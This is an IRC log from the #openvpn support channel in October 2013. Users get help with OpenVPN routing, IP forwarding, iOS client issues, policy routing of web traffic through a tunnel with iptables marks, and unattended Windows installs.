19:25 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
19:25 < dimm0k> !winipforward
19:25 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
19:26 < dimm0k> !route_outside_openvpn
19:26 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
19:26 < dimm0k> !route
19:26 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
19:26 <@vpnHelper> behind the server or client
20:28 <@debbie10t> busy busy :)
20:29 -!- debbie10t is now known as debbie10t|afk
20:30 -!- debbie10t|afk is now known as debbie10t_afk
20:32 -!- schnitzl [~schnitzl@dslb-188-105-163-230.pools.arcor-ip.net] has quit [Ping timeout: 240 seconds]
20:32 -!- raidz is now known as raidz_away
20:33 -!- schnitzl [~schnitzl@dslb-178-007-161-149.pools.arcor-ip.net] has joined #openvpn
20:44 -!- SpaceMehren [~SpaceMehr@pool-98-110-252-119.bstnma.fios.verizon.net] has joined #openvpn
20:52 -!- SpaceMehren [~SpaceMehr@pool-98-110-252-119.bstnma.fios.verizon.net] has quit [Quit: Leaving]
20:55 -!- Carbon_Monoxide [~cmonxide@14.0.143.162] has joined #openvpn
20:56 -!- alexw [~textual@unaffiliated/alexw] has joined #openvpn
20:57 < alexw> Am I the only one having issues with iOS?
20:57 < alexw> I can't access other machines
20:57 <+pekster> OpenVPN doesn't run on iOS. "OpenVPN Connect" does, but this is not the OpenVPN codebase
20:57 <+pekster> !connect
20:57 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
20:57 < alexw> lol
20:58 <+pekster> It aims to be on-wire and protocol-compatible with OpenVPN, and it comes close
20:59 <+pekster> This said, it's not open-source so us GPL hackers can't take responsibility for helping to support it. If OpenVPN works on a "real" host (or even Android since "OpenVPN for Android" is GPL) then it's obvously a flaw in the iOS implementation or the client
20:59 <+pekster> Have you tried using a GPL OpenVPN client to connect to your GPL OpenVPN server?
20:59 < alexw> don't have android
20:59 <+pekster> And you don't have a Windows, Linux, or MacOS computer?...
21:00 < alexw> works fine on MacOS though
21:00 < alexw> it doesn't seem to honor push "route 192.168.1.0 255.255.255.0" on iOS
21:00 < alexw> even though the routes register - but I will ask the other chat room :P
21:01 -!- Carbon_Monoxide [~cmonxide@14.0.143.162] has quit [Quit: Leaving]
21:01 <+pekster> Simple enough directive; you should check the routing table & logs, but as for obtaining actual support, the GPL folks can't really go beyond the vauge suggestions of "see if it does the right thing"
21:01 <+pekster> That's an awful network to be using from your server though
21:02 <+pekster> Don't use such a common RFC1918 network across VPN links if you don't have 100% assurance no client will ever use it
21:02 <+pekster> (f.ex, that will break for any client that uses that network range locally)
21:02 < alexw> ahh
21:02 < alexw> not sure I understand though lol - 192.168.1.0 is my local network (behind router)
21:03 < alexw> 192.168.66.0 is the vpn network (client side)
21:03 <+pekster> And if you're attemping to expose it in openvpn you should pick a less-common network
21:03 < alexw> and I want these devices to be able to talk to each other
21:03 < alexw> like 10.2 ?
21:03 < alexw> 5.0 ?
21:04 <+pekster> Sure. For the "most random" you can actually pick truely random numbers, but stay away from 192.168.{0,1}/24
21:04 <+pekster> And 10.{0,1}.{0,1}/24
21:06 < alexw> hmm might be why ios is having issues
21:07 < alexw> I was just following http://www.dd-wrt.com/wiki/index.php/VPN_(the_easy_way)_v24%2B lol
21:07 <@vpnHelper> Title: VPN (the easy way - DD-WRT Wiki (at www.dd-wrt.com)
21:07 <+pekster> No clue on "3rd party" guides. dd-wrt is also a terriable OS, but YMMV
21:08 < alexw> pekster yeah might look at setting up a vpn on a cloud server instead
21:08 < alexw> seems more reliable
21:13 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
21:15 -!- Carbon_Monoxide [~cmonxide@14.0.143.162] has joined #openvpn
21:15 -!- Carbon_Monoxide [~cmonxide@14.0.143.162] has left #openvpn []
21:30 -!- SpaceMehren [~SpaceMehr@pool-98-110-252-119.bstnma.fios.verizon.net] has joined #openvpn
21:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
21:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
22:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:21 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Quit: elfixit]
22:35 < EugeneKay> !download
22:35 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
22:36 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
22:42 -!- alexw_ [~textual@unaffiliated/alexw] has joined #openvpn
22:42 -!- alexw [~textual@unaffiliated/alexw] has quit [Ping timeout: 272 seconds]
22:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
22:43 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
22:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
22:57 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
22:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
22:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:02 -!- Poster|x is now known as Poster
23:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:28 -!- SpaceMehren [~SpaceMehr@pool-98-110-252-119.bstnma.fios.verizon.net] has left #openvpn ["Leaving"]
23:33 -!- kirin` [telex@gateway/shell/anapnea.net/x-oqulugjldldrmjik] has quit [Ping timeout: 268 seconds]
23:34 -!- kirin` [telex@gateway/shell/anapnea.net/x-cfxxikcvwixkgetu] has joined #openvpn
23:36 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
--- Day changed Tue Oct 29 2013
00:11 -!- alexw_ [~textual@unaffiliated/alexw] has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
00:15 -!- alexw [~textual@unaffiliated/alexw] has joined #openvpn
00:18 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:22 -!- alexw [~textual@unaffiliated/alexw] has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
00:25 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 245 seconds]
00:37 -!- alexw [~textual@unaffiliated/alexw] has joined #openvpn
00:46 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
00:48 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
00:51 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
01:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:05 -!- alexw [~textual@unaffiliated/alexw] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
01:27 -!- lokken-pc [lokken-pc@112.187.245.200] has joined #openvpn
01:28 -!- Pei_ [~pei@thinks.outside.theb0x.org] has joined #openvpn
01:28 -!- Netsplit *.net <-> *.split quits: @raidz_away, aji, lokken9, levifig, Pei, TypoNe, d1gtl
01:32 -!- Netsplit over, joins: TypoNe, levifig
01:32 -!- thesov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
01:32 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
01:33 -!- d1gital [~d1gital@fsf/member/d1gital] has joined #openvpn
01:33 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
01:34 -!- raidz_away is now known as raidz
01:34 -!- raidz [~raidz@raidz.im] has quit [Changing host]
01:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
01:34 -!- mode/#openvpn [+o raidz] by ChanServ
01:34 -!- aji [~alex@atheme/member/aji] has joined #openvpn
01:37 -!- thesov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
01:42 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
01:50 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
01:51 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
01:55 -!- fred`` [fred@earthli.ng] has joined #openvpn
02:10 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:19 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 272 seconds]
02:29 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:52 -!- thesov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
02:53 -!- mattock_afk is now known as mattock
02:54 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
03:02 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:06 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 272 seconds]
03:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
03:15 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
03:16 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:20 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
03:31 -!- emid [~emid@192.241.162.156] has joined #openvpn
03:32 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
03:32 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
03:34 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
04:25 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 246 seconds]
04:26 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
04:28 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
04:45 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 272 seconds]
04:46 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
05:00 -!- takamichi [~takamichi@85.12.8.15] has quit [Ping timeout: 265 seconds]
05:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:22 -!- xrosnight [~quassel@27.38.168.229] has joined #openvpn
05:22 -!- xrosnight [~quassel@27.38.168.229] has quit [Changing host]
05:22 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
05:25 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has quit [Ping timeout: 245 seconds]
05:26 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
05:26 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
05:26 -!- map is now known as Guest27680
05:27 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
05:29 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
05:35 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 272 seconds]
06:04 -!- aegis [~aegis@184.75.212.34] has quit [Ping timeout: 260 seconds]
06:05 -!- novaflash is now known as novaflash_away
06:28 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
06:46 -!- Denial [Denial@90.216.209.93] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:05 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
07:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:19 -!- novaflash_away is now known as novaflash
07:23 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:26 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 272 seconds]
07:31 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:52 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
07:52 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
07:55 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
08:17 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 272 seconds]
08:20 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:38 -!- djang0o [~dj@core.0n1.fr] has joined #openvpn
08:38 < djang0o> hi
08:41 < djang0o> is there a way to send all the traffic i got from incoming ssh/tunnel/socks to my tun0 interface ?
08:43 < djang0o> (on a server with sshd on eth0 and wishing to send the tunneled traffic trought tun0 )
08:45 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has left #openvpn []
09:03 <@debbie10t_afk> !redirect-gateway
09:04 <@debbie10t_afk> well .. push redirect-gateway def1 to the client
09:05 -!- debbie10t_afk is now known as debbie10t
09:06 <@ecrist> !def1
09:06 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:07 <@ecrist> debbie10t: see here, as well
09:07 <@ecrist> !factoids
09:07 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
09:07 <@debbie10t> thanks
09:13 -!- kirin` [telex@gateway/shell/anapnea.net/x-cfxxikcvwixkgetu] has quit [Ping timeout: 272 seconds]
09:19 < djang0o> well
09:20 < djang0o> i already dont pull route from openvpn
09:20 < djang0o> but i dont want to do weird routing
09:21 < djang0o> i just want to lets say, send all http/https traffic coming from ssh eth0 to go to tun0 vpn
09:22 < rob0> Sounds like you want policy routing.
09:23 -!- Guest83734 [bleach@2604:180::f476:be4f] has left #openvpn []
09:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-uhyizllcjosmcway] has joined #openvpn
09:28 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
09:30 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:32 -!- lokken-pc is now known as lokken9
09:33 -!- tharkun [~0@187.188.94.182] has quit [Ping timeout: 245 seconds]
09:37 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
09:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:41 -!- tharkun [~0@187.188.94.182] has joined #openvpn
09:49 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-drvwcceovjngteii] has left #openvpn []
09:57 <@krzee> djang0o, that is certainly not *normal* routing
09:58 < djang0o> Puis-je avoir accès au triple-play avec Tooway ?
09:58 <@krzee> "<djang0o> but i dont want to do weird routing"
09:58 -!- debbie10t2 [~ma1com10t@host-92-20-8-165.as13285.net] has joined #openvpn
09:58 <@krzee> ;]
09:58 < djang0o> oops
09:58 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has quit [Ping timeout: 260 seconds]
09:58 < djang0o> wroong copypast
09:58 < djang0o> well the point
09:59 < djang0o> is that routing an policy routing apply to IP DST
09:59 < djang0o> and i dont want to add a route for each destination i'll surf
09:59 < djang0o> to be sure it goes by tun0
10:00 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
10:00 -!- debbie10t2 is now known as debbie10t_afk
10:00 < rob0> Policy routing is indeed "weird", but it's how you do what you [seem to] describe.
10:00 -!- mode/#openvpn [+o debbie10t_afk] by ChanServ
10:00 < djang0o> no problem with weird stuff
10:00 < djang0o> but policy routing again apply on ip right
10:01 < djang0o> what i want is more a solution with ports
10:01 <@krzee> djang0o, policy routing can do whatever you want when you tag it in the firewall
10:01 < djang0o> let say every traffic that goes to :80 or :443 should go to tun0
10:01 < rob0> ip rule add fwmark ...
10:01 < djang0o> hmm ok
10:02 <@krzee> djang0o, we get it =]
10:02 < djang0o> if i can custom port it rox
10:02 < djang0o> :)
10:02 < djang0o> lets check
10:02 <@krzee> you can do SOOOO much more than ip/port
10:02 < djang0o> hehe :)
10:02 < rob0> iptables -vt mangle -A PREROUTING -p tcp -m mulitport --dports 80,443 -j MARK --set-mark 2
10:03 < rob0> *multiport
10:03 < djang0o> ok
10:03 < djang0o> i see
10:03 <@krzee> mulletport!
10:03 < rob0> Any port in a storm.
10:03 < djang0o> but then i have to define interfaces
10:04 < djang0o> -i -o
10:04 < rob0> yep, my rule is not adequate
10:04 < rob0> -i in PREROUTING
10:05 < djang0o> then i should put -i eth0 (incoming sshd), -o tun0 ?
10:07 <@krzee> so this rule should only apply to ssh users accessing ports 80/443 on remote machines?
10:07 <@krzee> cause if so, you're doing it wrong
10:07 <@krzee> like, mentally
10:08 < djang0o> iptables -t nat -F
10:08 < djang0o> iptables -t nat -A POSTROUTING -o eth0 -s 62.xx.xx.xx -p tcp --dport 80 -j SNAT --to yy.yy.yy.yy
10:08 < djang0o> iptables -t nat -A POSTROUTING -o eth0 -s 62.xx.xx.xx -p tcp --dport 443 -j SNAT --to yy.yy.yy.yy
10:08 < djang0o> iptables -t nat -L
10:08 < djang0o> i tryed that already before
10:08 < rob0> ewww
10:08 < djang0o> but not sure it was right way
10:08 <@krzee> i dunno, maybe rob0 feels like messing with this, but for me its straight up !notovpn
10:09 < djang0o> the rule should take any outgoing traffic on the server
10:09 < djang0o> to port 80/443 and route it to tun0
10:10 < djang0o> and anything else in/outgoing stay routed on etH0
10:10 <@krzee> umm no
10:10 <@krzee> that rule only effects packets leaving eth0
10:10 < djang0o> yeah so its some spoofing
10:10 <@krzee> umm no
10:11 <@krzee> i strongly suggest #netfilter
10:11 < djang0o> :)
10:11 < djang0o> ok
10:11 <@krzee> there, you will find rob0
10:11 <@krzee> hahahahah
10:11 < djang0o> ;)
10:12 < rob0> pekster's there too!
10:12 <@krzee> difference being theres 200+ iptables people there, instead of 200+ openvpn people
10:12 < djang0o> np
10:12 < djang0o> as my thing is bit weird, it mess with sshd/socks/iptables/openvpn
10:12 < djang0o> :)
10:14 < djang0o> thx anyway
10:14 -!- Nuitari [~nuitari@modemcable062.46-70-69.static.videotron.ca] has joined #openvpn
10:15 < Nuitari> !welcome
10:15 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:15 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:15 < Nuitari> !goal
10:15 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:17 < Nuitari> Is there an official .msi download for windows community edition client to help with an AD based deployment?
10:18 < rob0> !downloads
10:19 < rob0> !download
10:19 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
10:19 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
10:19 < rob0> I don't know what .msi is, but there ^^ you will find all official downloads.
10:20 < Nuitari> yeah I already knew those links
10:20 < Nuitari> msi is what is needed for the domain to force installations on client computers
10:22 <@krzee> !win_rollup
10:22 <@vpnHelper> "win_rollup" is please see http://www.secure-computing.net/wiki/index.php/OpenVPN/HowTo_for_Windows_2 for dazo's writeup on making unattended windows installers for openvpn
10:22 <@krzee> maybe that can help some
10:22 <@krzee> the AD users are road warriors?
10:23 <@krzee> cause if they're in the same office you only need 1 vpn connection anyways
10:23 <@krzee> !route
10:23 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
10:23 <@vpnHelper> the server or client
10:24 < Nuitari> krzee, yes they are roadwarriors, I think that link is what I need
10:24 <@krzee> well i hope it helps
10:33 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
10:35 -!- djang0o [~dj@core.0n1.fr] has left #openvpn []
10:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 246 seconds]
10:38 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:45 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
10:45 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
10:45 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:45 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
10:55 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
11:01 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 272 seconds]
11:02 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:03 -!- Denial- [Denial@90.216.209.93] has joined #openvpn
11:03 -!- Firartix [artix@unaffiliated/fira] has joined #openvpn
11:04 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:06 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.]
11:06 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 240 seconds]
11:06 -!- Denial [Denial@90.216.209.93] has quit [Remote host closed the connection]
11:06 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Quit: No Ping reply in 180 seconds.]
11:06 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
11:06 -!- Firartix is now known as Fira
11:06 -!- Denial- is now known as Denial
11:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
11:28 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:36 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:47 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 264 seconds]
11:55 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:02 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:11 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
12:14 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:36 -!- novaflash is now known as novaflash_away
12:42 -!- novaflash_away is now known as novaflash
13:17 -!- Cultist [~Grand_Mew@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
13:18 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 272 seconds]
13:23 -!- Cultist [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
13:29 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
13:42 <@krzee> !krzee
13:42 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
13:43 < EugeneKay> I need to build a network at the GF's place.
13:58 -!- Pei_ [~pei@thinks.outside.theb0x.org] has quit [Quit: l8]
14:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:08 -!- Cultist [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
14:08 -!- Cultist [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
14:15 -!- master_of_master [~master_of@p4FF24590.dip0.t-ipconnect.de] has joined #openvpn
14:19 -!- master_o1_master [~master_of@p4FF24BB1.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
14:27 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:09 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
15:26 -!- mattock is now known as mattock_afk
15:51 -!- catphish [~J@unaffiliated/catphish] has joined #openvpn
15:52 -!- catphish [~J@unaffiliated/catphish] has left #openvpn ["Leaving"]
15:56 -!- debbie10t_afk2 [~ma1com10t@host-2-96-43-117.as13285.net] has joined #openvpn
15:57 -!- debbie10t_afk [~ma1com10t@host-92-20-8-165.as13285.net] has quit [Ping timeout: 260 seconds]
15:59 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 245 seconds]
15:59 -!- nitram_ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
16:03 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:05 -!- debbie10t_afk [~ma1com10t@host-92-20-12-215.as13285.net] has joined #openvpn
16:05 -!- mode/#openvpn [+o debbie10t_afk] by ChanServ
16:05 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:05 -!- debbie10t_afk2 [~ma1com10t@host-2-96-43-117.as13285.net] has quit [Ping timeout: 260 seconds]
16:07 -!- Netsplit *.net <-> *.split quits: VunKruz, syn4pse, _quadDamage, Stew-a, mrrg, eliasp_, C-S-B, klaxa
16:10 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
16:14 -!- syn4pse [~syn4pse@p5DDC0BA4.dip0.t-ipconnect.de] has joined #openvpn
16:14 -!- C-S-B [~C-S-B@host109-145-138-152.range109-145.btcentralplus.com] has joined #openvpn
16:14 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
16:14 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
16:14 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has joined #openvpn
16:14 -!- mrrg [~notabot@delicious.sykosys.jp] has joined #openvpn
16:14 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
16:14 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
16:14 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
16:22 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
16:22 -!- janusz [~kris@akv86.neoplus.adsl.tpnet.pl] has joined #openvpn
16:23 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
